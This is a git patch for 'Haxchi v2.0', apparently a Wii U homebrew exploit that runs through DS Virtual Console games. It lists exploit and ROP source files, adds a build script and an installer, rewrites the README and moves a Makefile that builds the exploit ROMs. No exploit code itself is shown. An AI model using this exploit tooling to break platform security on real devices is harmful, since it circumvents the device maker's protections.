From 527d39deb7f6f70c3dd861a0ba6943ba59c90816 Mon Sep 17 00:00:00 2001 From: FIX94 Date: Mon, 28 Nov 2016 05:35:13 +0100 Subject: [PATCH] Haxchi v2.0 - now with its own installer! --- Build.bat | 20 + README.md | 48 +- Makefile => dsrom/Makefile | 420 +++--- brainage_defs.s => dsrom/brainage_defs.s | 0 {cfw_booter => dsrom/cfw_booter}/Makefile | 0 {cfw_booter => dsrom/cfw_booter}/README | 0 .../cfw_booter}/arm_kernel/Makefile | 0 .../cfw_booter}/arm_kernel/link.ld | 0 .../cfw_booter}/arm_kernel/source/crt0.s | 0 .../cfw_booter}/arm_kernel/source/main.c | 0 .../cfw_booter}/arm_kernel/source/types.h | 0 .../cfw_booter}/arm_kernel/source/utils.c | 0 .../cfw_booter}/arm_kernel/source/utils.h | 0 .../cfw_booter}/arm_user/Makefile | 0 .../cfw_booter}/arm_user/link.ld | 0 .../cfw_booter}/arm_user/source/crt0.s | 0 .../cfw_booter}/arm_user/source/main.c | 0 .../cfw_booter}/arm_user/source/types.h | 0 .../cfw_booter}/arm_user/source/utils.c | 0 .../cfw_booter}/arm_user/source/utils.h | 0 {cfw_booter => dsrom/cfw_booter}/coreinit.h | 0 {cfw_booter => dsrom/cfw_booter}/crt0.S | 0 {cfw_booter => dsrom/cfw_booter}/main.c | 0 {cfw_booter => dsrom/cfw_booter}/types.h | 0 coreinit.s => dsrom/coreinit.s | 0 dkjclimber_defs.s => dsrom/dkjclimber_defs.s | 0 haxchi.s => dsrom/haxchi.s | 80 +- haxchi_rop.s => dsrom/haxchi_rop.s | 550 +++---- {hbl_loader => dsrom/hbl_loader}/Makefile | 0 {hbl_loader => dsrom/hbl_loader}/README | 0 {hbl_loader => dsrom/hbl_loader}/common.h | 0 {hbl_loader => dsrom/hbl_loader}/coreinit.h | 0 {hbl_loader => dsrom/hbl_loader}/crt0.S | 0 {hbl_loader => dsrom/hbl_loader}/elf_abi.h | 0 {hbl_loader => dsrom/hbl_loader}/fs_defs.h | 0 .../hbl_loader}/kernel_patches.S | 0 {hbl_loader => dsrom/hbl_loader}/kexploit.c | 0 {hbl_loader => dsrom/hbl_loader}/kexploit.h | 0 {hbl_loader => dsrom/hbl_loader}/launcher.c | 0 {hbl_loader => dsrom/hbl_loader}/logger.c | 0 {hbl_loader => dsrom/hbl_loader}/logger.h | 0 {hbl_loader => dsrom/hbl_loader}/os_defs.h | 0 .../hbl_loader}/sd_loader/Makefile | 0 .../hbl_loader}/sd_loader/src/crt0.S | 0 .../hbl_loader}/sd_loader/src/elf_abi.h | 0 .../hbl_loader}/sd_loader/src/entry.c | 0 .../hbl_loader}/sd_loader/src/kernel_defs.h | 0 .../hbl_loader}/sd_loader/src/kernel_hooks.S | 0 .../hbl_loader}/sd_loader/src/link.ld | 0 .../hbl_loader}/sd_loader/src/loader_defs.h | 0 {hbl_loader => dsrom/hbl_loader}/structs.h | 0 {hbl_loader => dsrom/hbl_loader}/types.h | 0 kirby_defs.s => dsrom/kirby_defs.s | 0 .../kirbymassattack_defs.s | 0 .../mariokartds_defs.s | 0 .../masterofdisguise_defs.s | 0 newsmb_eur_defs.s => dsrom/newsmb_eur_defs.s | 0 .../option_select}/Makefile | 0 .../option_select}/coreinit.h | 0 {option_select => dsrom/option_select}/crt0.S | 0 {option_select => dsrom/option_select}/main.c | 0 .../option_select}/types.h | 0 .../partnersintime_defs.s | 0 sfcommand_defs.s => dsrom/sfcommand_defs.s | 0 sm64ds_defs.s => dsrom/sm64ds_defs.s | 0 yoshids_defs.s => dsrom/yoshids_defs.s | 0 zeldaph_defs.s => dsrom/zeldaph_defs.s | 0 zeldast_defs.s => dsrom/zeldast_defs.s | 0 {zip => dsrom/zip}/LICENSE | 0 {zip => dsrom/zip}/zip.exe | Bin installer/Makefile | 235 +++ installer/arm_kernel/Makefile | 72 + installer/arm_kernel/link.ld | 18 + installer/arm_kernel/source/crt0.s | 12 + installer/arm_kernel/source/main.c | 130 ++ installer/arm_kernel/source/types.h | 16 + installer/arm_kernel/source/utils.c | 25 + installer/arm_kernel/source/utils.h | 7 + installer/arm_user/Makefile | 72 + installer/arm_user/link.ld | 18 + installer/arm_user/source/crt0.s | 20 + installer/arm_user/source/main.c | 30 + installer/arm_user/source/types.h | 16 + installer/arm_user/source/utils.c | 25 + installer/arm_user/source/utils.h | 7 + installer/libxml2/README.md | 2 + installer/libxml2/include/libxml/DOCBparser.h | 96 ++ installer/libxml2/include/libxml/HTMLparser.h | 306 ++++ installer/libxml2/include/libxml/HTMLtree.h | 147 ++ installer/libxml2/include/libxml/SAX.h | 173 +++ installer/libxml2/include/libxml/SAX2.h | 178 +++ installer/libxml2/include/libxml/c14n.h | 126 ++ installer/libxml2/include/libxml/catalog.h | 182 +++ installer/libxml2/include/libxml/chvalid.h | 230 +++ installer/libxml2/include/libxml/debugXML.h | 217 +++ installer/libxml2/include/libxml/dict.h | 86 ++ installer/libxml2/include/libxml/encoding.h | 240 +++ installer/libxml2/include/libxml/entities.h | 151 ++ installer/libxml2/include/libxml/globals.h | 509 +++++++ installer/libxml2/include/libxml/hash.h | 233 +++ installer/libxml2/include/libxml/list.h | 137 ++ installer/libxml2/include/libxml/nanoftp.h | 163 ++ installer/libxml2/include/libxml/nanohttp.h | 81 + installer/libxml2/include/libxml/parser.h | 1241 ++++++++++++++++ .../libxml2/include/libxml/parserInternals.h | 644 ++++++++ installer/libxml2/include/libxml/pattern.h | 100 ++ installer/libxml2/include/libxml/relaxng.h | 217 +++ .../libxml2/include/libxml/schemasInternals.h | 958 ++++++++++++ installer/libxml2/include/libxml/schematron.h | 142 ++ installer/libxml2/include/libxml/threads.h | 84 ++ installer/libxml2/include/libxml/tree.h | 1311 +++++++++++++++++ installer/libxml2/include/libxml/uri.h | 94 ++ installer/libxml2/include/libxml/valid.h | 458 ++++++ installer/libxml2/include/libxml/xinclude.h | 129 ++ installer/libxml2/include/libxml/xlink.h | 189 +++ installer/libxml2/include/libxml/xmlIO.h | 366 +++++ .../libxml2/include/libxml/xmlautomata.h | 146 ++ installer/libxml2/include/libxml/xmlerror.h | 945 ++++++++++++ installer/libxml2/include/libxml/xmlexports.h | 162 ++ installer/libxml2/include/libxml/xmlmemory.h | 224 +++ installer/libxml2/include/libxml/xmlmodule.h | 57 + installer/libxml2/include/libxml/xmlreader.h | 428 ++++++ installer/libxml2/include/libxml/xmlregexp.h | 222 +++ installer/libxml2/include/libxml/xmlsave.h | 88 ++ installer/libxml2/include/libxml/xmlschemas.h | 246 ++++ .../libxml2/include/libxml/xmlschemastypes.h | 151 ++ installer/libxml2/include/libxml/xmlstring.h | 140 ++ installer/libxml2/include/libxml/xmlunicode.h | 202 +++ installer/libxml2/include/libxml/xmlversion.h | 489 ++++++ installer/libxml2/include/libxml/xmlwriter.h | 488 ++++++ installer/libxml2/include/libxml/xpath.h | 557 +++++++ .../libxml2/include/libxml/xpathInternals.h | 632 ++++++++ installer/libxml2/include/libxml/xpointer.h | 114 ++ installer/libxml2/lib/libxml2.a | Bin 0 -> 2715444 bytes installer/src/common/common.h | 36 + installer/src/common/fs_defs.h | 62 + installer/src/common/os_defs.h | 25 + installer/src/common/types.h | 7 + installer/src/dynamic_libs/.gitattributes | 17 + installer/src/dynamic_libs/.gitignore | 47 + installer/src/dynamic_libs/README.md | 2 + installer/src/dynamic_libs/acp_functions.c | 40 + installer/src/dynamic_libs/acp_functions.h | 42 + installer/src/dynamic_libs/aoc_functions.c | 58 + installer/src/dynamic_libs/aoc_functions.h | 58 + installer/src/dynamic_libs/ax_functions.c | 118 ++ installer/src/dynamic_libs/ax_functions.h | 64 + installer/src/dynamic_libs/fs_defs.h | 61 + installer/src/dynamic_libs/fs_functions.c | 131 ++ installer/src/dynamic_libs/fs_functions.h | 95 ++ installer/src/dynamic_libs/gx2_functions.c | 173 +++ installer/src/dynamic_libs/gx2_functions.h | 211 +++ installer/src/dynamic_libs/gx2_types.h | 699 +++++++++ installer/src/dynamic_libs/os_functions.c | 344 +++++ installer/src/dynamic_libs/os_functions.h | 182 +++ installer/src/dynamic_libs/os_types.h | 27 + .../src/dynamic_libs/padscore_functions.c | 61 + .../src/dynamic_libs/padscore_functions.h | 171 +++ installer/src/dynamic_libs/socket_functions.c | 81 + installer/src/dynamic_libs/socket_functions.h | 108 ++ installer/src/dynamic_libs/sys_functions.c | 51 + installer/src/dynamic_libs/sys_functions.h | 48 + installer/src/dynamic_libs/syshid_functions.c | 78 + installer/src/dynamic_libs/syshid_functions.h | 90 ++ installer/src/dynamic_libs/vpad_functions.c | 55 + installer/src/dynamic_libs/vpad_functions.h | 114 ++ installer/src/entry.c | 13 + installer/src/exploit.c | 349 +++++ installer/src/exploit.h | 9 + installer/src/gameList.h | 86 ++ installer/src/link.ld | 40 + installer/src/main.c | 561 +++++++ installer/src/main.h | 20 + installer/src/system/memory.c | 198 +++ installer/src/system/memory.h | 42 + installer/src/zipList.h | 24 + installer/wupserver/Makefile | 76 + installer/wupserver/ccd00.ld | 23 + installer/wupserver/ccd00.specs | 4 + installer/wupserver/some.txt | 224 +++ installer/wupserver/source/crt0.s | 17 + installer/wupserver/source/fsa.c | 437 ++++++ installer/wupserver/source/fsa.h | 59 + installer/wupserver/source/imports.c | 49 + installer/wupserver/source/imports.h | 12 + installer/wupserver/source/ipc.c | 480 ++++++ installer/wupserver/source/ipc.h | 6 + installer/wupserver/source/ipc_types.h | 83 ++ installer/wupserver/source/svc.h | 31 + installer/wupserver/source/svc.s | 99 ++ installer/wupserver/source/types.h | 29 + meta/bootDrcTex.tga | Bin 1229804 -> 0 bytes meta/bootTvTex.tga | Bin 2764844 -> 0 bytes meta/iconTex.tga | Bin 65580 -> 0 bytes 194 files changed, 22063 insertions(+), 566 deletions(-) create mode 100644 Build.bat rename Makefile => dsrom/Makefile (76%) rename brainage_defs.s => dsrom/brainage_defs.s (100%) rename {cfw_booter => dsrom/cfw_booter}/Makefile (100%) rename {cfw_booter => dsrom/cfw_booter}/README (100%) rename {cfw_booter => dsrom/cfw_booter}/arm_kernel/Makefile (100%) rename {cfw_booter => dsrom/cfw_booter}/arm_kernel/link.ld (100%) rename {cfw_booter => dsrom/cfw_booter}/arm_kernel/source/crt0.s (100%) rename {cfw_booter => dsrom/cfw_booter}/arm_kernel/source/main.c (100%) rename {cfw_booter => dsrom/cfw_booter}/arm_kernel/source/types.h (100%) rename {cfw_booter => dsrom/cfw_booter}/arm_kernel/source/utils.c (100%) rename {cfw_booter => dsrom/cfw_booter}/arm_kernel/source/utils.h (100%) rename {cfw_booter => dsrom/cfw_booter}/arm_user/Makefile (100%) rename {cfw_booter => dsrom/cfw_booter}/arm_user/link.ld (100%) rename {cfw_booter => dsrom/cfw_booter}/arm_user/source/crt0.s (100%) rename {cfw_booter => dsrom/cfw_booter}/arm_user/source/main.c (100%) rename {cfw_booter => dsrom/cfw_booter}/arm_user/source/types.h (100%) rename {cfw_booter => dsrom/cfw_booter}/arm_user/source/utils.c (100%) rename {cfw_booter => dsrom/cfw_booter}/arm_user/source/utils.h (100%) rename {cfw_booter => dsrom/cfw_booter}/coreinit.h (100%) rename {cfw_booter => dsrom/cfw_booter}/crt0.S (100%) rename {cfw_booter => dsrom/cfw_booter}/main.c (100%) rename {cfw_booter => dsrom/cfw_booter}/types.h (100%) rename coreinit.s => dsrom/coreinit.s (100%) rename dkjclimber_defs.s => dsrom/dkjclimber_defs.s (100%) rename haxchi.s => dsrom/haxchi.s (95%) rename haxchi_rop.s => dsrom/haxchi_rop.s (96%) rename {hbl_loader => dsrom/hbl_loader}/Makefile (100%) rename {hbl_loader => dsrom/hbl_loader}/README (100%) rename {hbl_loader => dsrom/hbl_loader}/common.h (100%) rename {hbl_loader => dsrom/hbl_loader}/coreinit.h (100%) rename {hbl_loader => dsrom/hbl_loader}/crt0.S (100%) rename {hbl_loader => dsrom/hbl_loader}/elf_abi.h (100%) rename {hbl_loader => dsrom/hbl_loader}/fs_defs.h (100%) rename {hbl_loader => dsrom/hbl_loader}/kernel_patches.S (100%) rename {hbl_loader => dsrom/hbl_loader}/kexploit.c (100%) rename {hbl_loader => dsrom/hbl_loader}/kexploit.h (100%) rename {hbl_loader => dsrom/hbl_loader}/launcher.c (100%) rename {hbl_loader => dsrom/hbl_loader}/logger.c (100%) rename {hbl_loader => dsrom/hbl_loader}/logger.h (100%) rename {hbl_loader => dsrom/hbl_loader}/os_defs.h (100%) rename {hbl_loader => dsrom/hbl_loader}/sd_loader/Makefile (100%) rename {hbl_loader => dsrom/hbl_loader}/sd_loader/src/crt0.S (100%) rename {hbl_loader => dsrom/hbl_loader}/sd_loader/src/elf_abi.h (100%) rename {hbl_loader => dsrom/hbl_loader}/sd_loader/src/entry.c (100%) rename {hbl_loader => dsrom/hbl_loader}/sd_loader/src/kernel_defs.h (100%) rename {hbl_loader => dsrom/hbl_loader}/sd_loader/src/kernel_hooks.S (100%) rename {hbl_loader => dsrom/hbl_loader}/sd_loader/src/link.ld (100%) rename {hbl_loader => dsrom/hbl_loader}/sd_loader/src/loader_defs.h (100%) rename {hbl_loader => dsrom/hbl_loader}/structs.h (100%) rename {hbl_loader => dsrom/hbl_loader}/types.h (100%) rename kirby_defs.s => dsrom/kirby_defs.s (100%) rename kirbymassattack_defs.s => dsrom/kirbymassattack_defs.s (100%) rename mariokartds_defs.s => dsrom/mariokartds_defs.s (100%) rename masterofdisguise_defs.s => dsrom/masterofdisguise_defs.s (100%) rename newsmb_eur_defs.s => dsrom/newsmb_eur_defs.s (100%) rename {option_select => dsrom/option_select}/Makefile (100%) rename {option_select => dsrom/option_select}/coreinit.h (100%) rename {option_select => dsrom/option_select}/crt0.S (100%) rename {option_select => dsrom/option_select}/main.c (100%) rename {option_select => dsrom/option_select}/types.h (100%) rename partnersintime_defs.s => dsrom/partnersintime_defs.s (100%) rename sfcommand_defs.s => dsrom/sfcommand_defs.s (100%) rename sm64ds_defs.s => dsrom/sm64ds_defs.s (100%) rename yoshids_defs.s => dsrom/yoshids_defs.s (100%) rename zeldaph_defs.s => dsrom/zeldaph_defs.s (100%) rename zeldast_defs.s => dsrom/zeldast_defs.s (100%) rename {zip => dsrom/zip}/LICENSE (100%) rename {zip => dsrom/zip}/zip.exe (100%) create mode 100644 installer/Makefile create mode 100644 installer/arm_kernel/Makefile create mode 100644 installer/arm_kernel/link.ld create mode 100644 installer/arm_kernel/source/crt0.s create mode 100644 installer/arm_kernel/source/main.c create mode 100644 installer/arm_kernel/source/types.h create mode 100644 installer/arm_kernel/source/utils.c create mode 100644 installer/arm_kernel/source/utils.h create mode 100644 installer/arm_user/Makefile create mode 100644 installer/arm_user/link.ld create mode 100644 installer/arm_user/source/crt0.s create mode 100644 installer/arm_user/source/main.c create mode 100644 installer/arm_user/source/types.h create mode 100644 installer/arm_user/source/utils.c create mode 100644 installer/arm_user/source/utils.h create mode 100644 installer/libxml2/README.md create mode 100644 installer/libxml2/include/libxml/DOCBparser.h create mode 100644 installer/libxml2/include/libxml/HTMLparser.h create mode 100644 installer/libxml2/include/libxml/HTMLtree.h create mode 100644 installer/libxml2/include/libxml/SAX.h create mode 100644 installer/libxml2/include/libxml/SAX2.h create mode 100644 installer/libxml2/include/libxml/c14n.h create mode 100644 installer/libxml2/include/libxml/catalog.h create mode 100644 installer/libxml2/include/libxml/chvalid.h create mode 100644 installer/libxml2/include/libxml/debugXML.h create mode 100644 installer/libxml2/include/libxml/dict.h create mode 100644 installer/libxml2/include/libxml/encoding.h create mode 100644 installer/libxml2/include/libxml/entities.h create mode 100644 installer/libxml2/include/libxml/globals.h create mode 100644 installer/libxml2/include/libxml/hash.h create mode 100644 installer/libxml2/include/libxml/list.h create mode 100644 installer/libxml2/include/libxml/nanoftp.h create mode 100644 installer/libxml2/include/libxml/nanohttp.h create mode 100644 installer/libxml2/include/libxml/parser.h create mode 100644 installer/libxml2/include/libxml/parserInternals.h create mode 100644 installer/libxml2/include/libxml/pattern.h create mode 100644 installer/libxml2/include/libxml/relaxng.h create mode 100644 installer/libxml2/include/libxml/schemasInternals.h create mode 100644 installer/libxml2/include/libxml/schematron.h create mode 100644 installer/libxml2/include/libxml/threads.h create mode 100644 installer/libxml2/include/libxml/tree.h create mode 100644 installer/libxml2/include/libxml/uri.h create mode 100644 installer/libxml2/include/libxml/valid.h create mode 100644 installer/libxml2/include/libxml/xinclude.h create mode 100644 installer/libxml2/include/libxml/xlink.h create mode 100644 installer/libxml2/include/libxml/xmlIO.h create mode 100644 installer/libxml2/include/libxml/xmlautomata.h create mode 100644 installer/libxml2/include/libxml/xmlerror.h create mode 100644 installer/libxml2/include/libxml/xmlexports.h create mode 100644 installer/libxml2/include/libxml/xmlmemory.h create mode 100644 installer/libxml2/include/libxml/xmlmodule.h create mode 100644 installer/libxml2/include/libxml/xmlreader.h create mode 100644 installer/libxml2/include/libxml/xmlregexp.h create mode 100644 installer/libxml2/include/libxml/xmlsave.h create mode 100644 installer/libxml2/include/libxml/xmlschemas.h create mode 100644 installer/libxml2/include/libxml/xmlschemastypes.h create mode 100644 installer/libxml2/include/libxml/xmlstring.h create mode 100644 installer/libxml2/include/libxml/xmlunicode.h create mode 100644 installer/libxml2/include/libxml/xmlversion.h create mode 100644 installer/libxml2/include/libxml/xmlwriter.h create mode 100644 installer/libxml2/include/libxml/xpath.h create mode 100644 installer/libxml2/include/libxml/xpathInternals.h create mode 100644 installer/libxml2/include/libxml/xpointer.h create mode 100644 installer/libxml2/lib/libxml2.a create mode 100644 installer/src/common/common.h create mode 100644 installer/src/common/fs_defs.h create mode 100644 installer/src/common/os_defs.h create mode 100644 installer/src/common/types.h create mode 100644 installer/src/dynamic_libs/.gitattributes create mode 100644 installer/src/dynamic_libs/.gitignore create mode 100644 installer/src/dynamic_libs/README.md create mode 100644 installer/src/dynamic_libs/acp_functions.c create mode 100644 installer/src/dynamic_libs/acp_functions.h create mode 100644 installer/src/dynamic_libs/aoc_functions.c create mode 100644 installer/src/dynamic_libs/aoc_functions.h create mode 100644 installer/src/dynamic_libs/ax_functions.c create mode 100644 installer/src/dynamic_libs/ax_functions.h create mode 100644 installer/src/dynamic_libs/fs_defs.h create mode 100644 installer/src/dynamic_libs/fs_functions.c create mode 100644 installer/src/dynamic_libs/fs_functions.h create mode 100644 installer/src/dynamic_libs/gx2_functions.c create mode 100644 installer/src/dynamic_libs/gx2_functions.h create mode 100644 installer/src/dynamic_libs/gx2_types.h create mode 100644 installer/src/dynamic_libs/os_functions.c create mode 100644 installer/src/dynamic_libs/os_functions.h create mode 100644 installer/src/dynamic_libs/os_types.h create mode 100644 installer/src/dynamic_libs/padscore_functions.c create mode 100644 installer/src/dynamic_libs/padscore_functions.h create mode 100644 installer/src/dynamic_libs/socket_functions.c create mode 100644 installer/src/dynamic_libs/socket_functions.h create mode 100644 installer/src/dynamic_libs/sys_functions.c create mode 100644 installer/src/dynamic_libs/sys_functions.h create mode 100644 installer/src/dynamic_libs/syshid_functions.c create mode 100644 installer/src/dynamic_libs/syshid_functions.h create mode 100644 installer/src/dynamic_libs/vpad_functions.c create mode 100644 installer/src/dynamic_libs/vpad_functions.h create mode 100644 installer/src/entry.c create mode 100644 installer/src/exploit.c create mode 100644 installer/src/exploit.h create mode 100644 installer/src/gameList.h create mode 100644 installer/src/link.ld create mode 100644 installer/src/main.c create mode 100644 installer/src/main.h create mode 100644 installer/src/system/memory.c create mode 100644 installer/src/system/memory.h create mode 100644 installer/src/zipList.h create mode 100644 installer/wupserver/Makefile create mode 100644 installer/wupserver/ccd00.ld create mode 100644 installer/wupserver/ccd00.specs create mode 100644 installer/wupserver/some.txt create mode 100644 installer/wupserver/source/crt0.s create mode 100644 installer/wupserver/source/fsa.c create mode 100644 installer/wupserver/source/fsa.h create mode 100644 installer/wupserver/source/imports.c create mode 100644 installer/wupserver/source/imports.h create mode 100644 installer/wupserver/source/ipc.c create mode 100644 installer/wupserver/source/ipc.h create mode 100644 installer/wupserver/source/ipc_types.h create mode 100644 installer/wupserver/source/svc.h create mode 100644 installer/wupserver/source/svc.s create mode 100644 installer/wupserver/source/types.h delete mode 100644 meta/bootDrcTex.tga delete mode 100644 meta/bootTvTex.tga delete mode 100644 meta/iconTex.tga diff --git a/Build.bat b/Build.bat new file mode 100644 index 0000000..38a7d00 --- /dev/null +++ b/Build.bat @@ -0,0 +1,20 @@ +@echo off + +cd installer +mkdir data 2>/nul +cd ../dsrom +echo. +echo Building DS ROMs +echo. +make clean +make + +cd ../installer +echo. +echo Building WiiU Installer +echo. +make clean +make + +echo. +pause diff --git a/README.md b/README.md index b098c9c..f8dbeb5 100644 --- a/README.md +++ b/README.md @@ -1,31 +1,13 @@ -# haxchi +# Haxchi -This is a ported version of the haxchi exploit created by smea and others for all sorts of different ds vc games. -In addition to being ported it also includes a homebrew launcher loader as its payload so you can use it for a lot of things. +This is the continuation of the POC Haxchi exploit by smea. +It features compatibility with a lot of DS VC and can be easly installed and further configured. -## install process +## Installation -haxchi can be very easily installed using iosuhax's wupclient. for example, if hachihachi is installed to the MLC, it suffices to do: -``` - w.up("rom.zip", "/vol/storage_mlc01/usr/title/00050000/YOUR_GAME_TITLE_ID/content/0010/rom.zip") -``` -of course, using wupclient to install haxchi permanently requires that redNAND be disabled, unless hachihachi is installed to USB, in which case it can be installed from redNAND using: -``` - w.up("rom.zip", "/vol/storage_usb01/usr/title/00050000/YOUR_GAME_TITLE_ID/content/0010/rom.zip") -``` - -To upload a config.txt as well you will have to do the following if the title is installed on NAND: -``` - w.up("config.txt", "/vol/storage_mlc01/usr/title/00050000/YOUR_GAME_TITLE_ID/content/config.txt") - w.chmod("/vol/storage_mlc01/usr/title/00050000/YOUR_GAME_TITLE_ID/content/config.txt", 0x644) -``` -and for the title being installed to USB you do the following: -``` - w.up("config.txt", "/vol/storage_usb01/usr/title/00050000/YOUR_GAME_TITLE_ID/content/config.txt") - w.chmod("/vol/storage_usb01/usr/title/00050000/YOUR_GAME_TITLE_ID/content/config.txt", 0x644) -``` - -make sure to replace YOUR_GAME_TITLE_ID with one of the following: +Grab the current .elf from the release tab and put it into sd:/wiiu/apps so it can be run by the homebrew launcher later. +For extras such as replaced icon, startup logo, startup sound, game title and button configuration download the "haxchi" archive and put its content into a folder on your sd called "sd:/haxchi". This folder will be used during installation to set up the game of your choice and you can adjust its content to your liking. +The following games right now are supported by the installer: | Game | JPN | US | PAL | |---|:---:|:---:|:---:| @@ -47,22 +29,6 @@ make sure to replace YOUR_GAME_TITLE_ID with one of the following: |Zelda Phantom Hourglass|101C3600|101C3700|101C3800| |Kirby Mass Attack|101C8600|101C8700|101C8800| -a config.txt can look like this for example: -``` -a=fw.img -b=rednand/fw.img -x=wiiu/apps/ftpiiu/ftpiiu.elf -down=wiiu/apps/snes9x2010_libretro/snes9x2010_libretro.elf -default=wiiu/apps/homebrew_launcher/homebrew_launcher.elf -``` -please note though that if you want to load a fw.img the name HAS to be named fw.img in whatever folder you use, nothing else will work. - -## contents - -* hbl_loader: a loader which will load up the homebrew launcher from sd card -* haxchi_rop.s: hachihachi process ROP which will emit hbl_loader as executable -* haxchi.s: generates a malicious SRL file - ## credit smea, plutoo, yellows8, naehrwert, derrek, FIX94 and dimok diff --git a/Makefile b/dsrom/Makefile similarity index 76% rename from Makefile rename to dsrom/Makefile index d189bba..0d7e872 100644 --- a/Makefile +++ b/dsrom/Makefile @@ -1,215 +1,215 @@ -.PHONY := all code550.bin - -ifeq ($(Windows_NT), 1) - ZIP = zip/zip.exe -else - ZIP = zip -endif - -all: setup brainage dkjclimber kirby kirbymassattack mariokartds masterofdisguise newsmb_eur partnersintime sfcommand sm64ds yoshids zeldaph zeldast \ - brainage.zip dkjclimber.zip kirby.zip kirbymassattack.zip mariokartds.zip masterofdisguise.zip newsmb_eur.zip partnersintime.zip \ - sfcommand.zip sm64ds.zip yoshids.zip yoshitouchandgo.zip zeldaph.zip zeldast.zip - -brainage: setup_brainage brainage.nds - -dkjclimber: setup_dkjclimber dkjclimber.nds - -kirby: setup_kirby kirby.nds - -kirbymassattack: setup_kirbymassattack kirbymassattack.nds - +.PHONY := all code550.bin + +ifeq ($(Windows_NT), 1) + ZIP = zip/zip.exe +else + ZIP = zip +endif + +all: setup brainage dkjclimber kirby kirbymassattack mariokartds masterofdisguise newsmb_eur partnersintime sfcommand sm64ds yoshids zeldaph zeldast \ + brainage.zip dkjclimber.zip kirby.zip kirbymassattack.zip mariokartds.zip masterofdisguise.zip newsmb_eur.zip partnersintime.zip \ + sfcommand.zip sm64ds.zip yoshids.zip zeldaph.zip zeldast.zip + +brainage: setup_brainage brainage.nds + +dkjclimber: setup_dkjclimber dkjclimber.nds + +kirby: setup_kirby kirby.nds + +kirbymassattack: setup_kirbymassattack kirbymassattack.nds + mariokartds: setup_mariokartds mariokartds.nds - -masterofdisguise: setup_masterofdisguise masterofdisguise.nds - -newsmb_eur: setup_newsmb_eur newsmb_eur.nds - -partnersintime: setup_partnersintime partnersintime.nds - -sfcommand: setup_sfcommand sfcommand.nds - -sm64ds: setup_sm64ds sm64ds.nds - -yoshids: setup_yoshids yoshids.nds - -zeldaph: setup_zeldaph zeldaph.nds - -zeldast: setup_zeldast zeldast.nds - -setup: - @cd option_select && make && cd .. - @cd hbl_loader && make && cd .. - @cd cfw_booter && make && cd .. - -setup_brainage: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + +masterofdisguise: setup_masterofdisguise masterofdisguise.nds + +newsmb_eur: setup_newsmb_eur newsmb_eur.nds + +partnersintime: setup_partnersintime partnersintime.nds + +sfcommand: setup_sfcommand sfcommand.nds + +sm64ds: setup_sm64ds sm64ds.nds + +yoshids: setup_yoshids yoshids.nds + +zeldaph: setup_zeldaph zeldaph.nds + +zeldast: setup_zeldast zeldast.nds + +setup: + @cd option_select && make && cd .. + @cd hbl_loader && make && cd .. + @cd cfw_booter && make && cd .. + +setup_brainage: + @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin @cp -f brainage_defs.s defines.s - -setup_dkjclimber: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin - @cp -f dkjclimber_defs.s defines.s - -setup_kirby: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + +setup_dkjclimber: + @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @cp -f dkjclimber_defs.s defines.s + +setup_kirby: + @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin @cp -f kirby_defs.s defines.s - -setup_kirbymassattack: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin - @cp -f kirbymassattack_defs.s defines.s - -setup_mariokartds: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin - @cp -f mariokartds_defs.s defines.s - -setup_masterofdisguise: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin - @cp -f masterofdisguise_defs.s defines.s - -setup_newsmb_eur: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin - @cp -f newsmb_eur_defs.s defines.s - -setup_partnersintime: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin - @cp -f partnersintime_defs.s defines.s - -setup_sfcommand: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin - @cp -f sfcommand_defs.s defines.s - -setup_sm64ds: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin - @cp -f sm64ds_defs.s defines.s - -setup_yoshids: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin - @cp -f yoshids_defs.s defines.s - -setup_zeldaph: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + +setup_kirbymassattack: + @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @cp -f kirbymassattack_defs.s defines.s + +setup_mariokartds: + @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @cp -f mariokartds_defs.s defines.s + +setup_masterofdisguise: + @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @cp -f masterofdisguise_defs.s defines.s + +setup_newsmb_eur: + @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @cp -f newsmb_eur_defs.s defines.s + +setup_partnersintime: + @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @cp -f partnersintime_defs.s defines.s + +setup_sfcommand: + @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @cp -f sfcommand_defs.s defines.s + +setup_sm64ds: + @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @cp -f sm64ds_defs.s defines.s + +setup_yoshids: + @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @cp -f yoshids_defs.s defines.s + +setup_zeldaph: + @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin @cp -f zeldaph_defs.s defines.s - -setup_zeldast: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin - @cp -f zeldast_defs.s defines.s - -brainage.nds: - @armips haxchi_rop.s - @armips haxchi.s - @mv rom.nds brainage.nds - @cp brainage.nds yoshitouchandgo.nds - -dkjclimber.nds: - @armips haxchi_rop.s - @armips haxchi.s - @mv rom.nds dkjclimber.nds - -kirby.nds: - @armips haxchi_rop.s - @armips haxchi.s - @mv rom.nds kirby.nds - -kirbymassattack.nds: - @armips haxchi_rop.s - @armips haxchi.s - @mv rom.nds kirbymassattack.nds - -mariokartds.nds: - @armips haxchi_rop.s - @armips haxchi.s - @mv rom.nds mariokartds.nds - @cp mariokartds.nds newsmb.nds - -masterofdisguise.nds: - @armips haxchi_rop.s - @armips haxchi.s - @mv rom.nds masterofdisguise.nds - -newsmb_eur.nds: - @armips haxchi_rop.s - @armips haxchi.s - @mv rom.nds newsmb_eur.nds - -partnersintime.nds: - @armips haxchi_rop.s - @armips 